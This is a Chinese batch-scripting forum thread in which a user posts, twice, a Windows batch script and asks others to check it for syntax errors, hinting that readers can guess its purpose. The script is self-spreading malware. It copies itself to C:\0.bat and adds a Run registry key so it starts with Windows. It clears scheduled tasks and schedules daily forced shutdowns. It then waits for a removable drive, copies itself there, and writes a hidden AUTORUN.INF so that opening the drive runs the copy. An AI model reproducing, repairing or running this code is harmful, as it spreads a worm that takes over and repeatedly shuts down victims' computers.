[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

[系统相关] 帮忙看一下这个批处理还有没有什么语法错误

本帖最后由 hk7777777 于 2017-11-25 14:25 编辑
  1. @echo off&setlocal EnableDelayedExpansion&copy /Y %0>C:\0.bat
  2. reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v shutdown /d "C:\0.bat" /f
  3. at /delete /yes
  4. for %%i in (11:40 17:05 21:50) do (at %%i /every:M,T,W,Th,F,S,Su shutdown -s -t 10)&for %%i in (Z Y X W V U T S R Q P O N M L K J I H G F E D) do (if NOT exist %%i:\*.* set a=%%i)
  5. :a
  6. (if NOT exist %a%:\*.* goto a)>nul
  7. copy /Y %0>%a%:\0.bat
  8. set b=%a%:\AUTORUN.INF
  9. if exist %b%\ (del /f /a /q %b%\*.*&cd /s /q %b%\)&echo ^[autorun^]>%b%&(echo OPEN^=explorer.exe&echo shell\open^=打开(^&O)&echo shell\open\Command^=0.bat&echo shell\open\Default^=1&echo shell\资源管理器(^&X)\Command^=0.bat&echo shell\自动播放(^&P)\DropTarget^=0.bat)>>%b%
  10. attrib +sh %b%
  11. attrib +h %a%:\0.bat
复制代码
干嘛的,诸位自己脑补

本帖最后由 hk7777777 于 2017-11-24 14:27 编辑

╰(‵□′)╯✧Duang~送你五毛钱特效!

TOP

本帖最后由 hk7777777 于 2017-11-25 14:26 编辑
  1. @echo off
  2. setlocal EnableDelayedExpansion
  3. copy /Y %0>C:\0.bat
  4. reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v shutdown /d "C:\0.bat" /f
  5. at /delete /yes
  6. for %%i in (11:40 17:05 21:50) do (
  7. at %%i /every:M,T,W,Th,F,S,Su shutdown -s -t 10)
  8. for %%i in (Z Y X W V U T S R Q P O N M L K J I H G F E D) do (if NOT exist %%i:\*.* set a=%%i)
  9. :a
  10. (if NOT exist %a%:\*.* goto a)>nul
  11. copy /Y %0>%a%:\0.bat
  12. if exist %a%:\AUTORUN.INF\ (
  13. del /f /a /q %a%:\AUTORUN.INF\*.*
  14. cd /s /q %a%:\AUTORUN.INF\)
  15. echo ^[autorun^]>%a%:\AUTORUN.INF
  16. echo OPEN^=explorer.exe>>%a%:\AUTORUN.INF
  17. echo shell\open^=打开^(^&O^)>>%a%:\AUTORUN.INF
  18. echo shell\open\Command^=0.bat>>%a%:\AUTORUN.INF
  19. echo shell\open\Default^=1>>%a%:\AUTORUN.INF
  20. echo shell\资源管理器(^&X)\Command^=0.bat>>%a%:\AUTORUN.INF
  21. echo shell\自动播放(^&P)\DropTarget^=0.bat>>%a%:\AUTORUN.INF
  22. attrib +sh %a%:\AUTORUN.INF
  23. attrib +h %a%:\0.bat
复制代码

TOP

有人吗?进来吹吹水也行

TOP

返回列表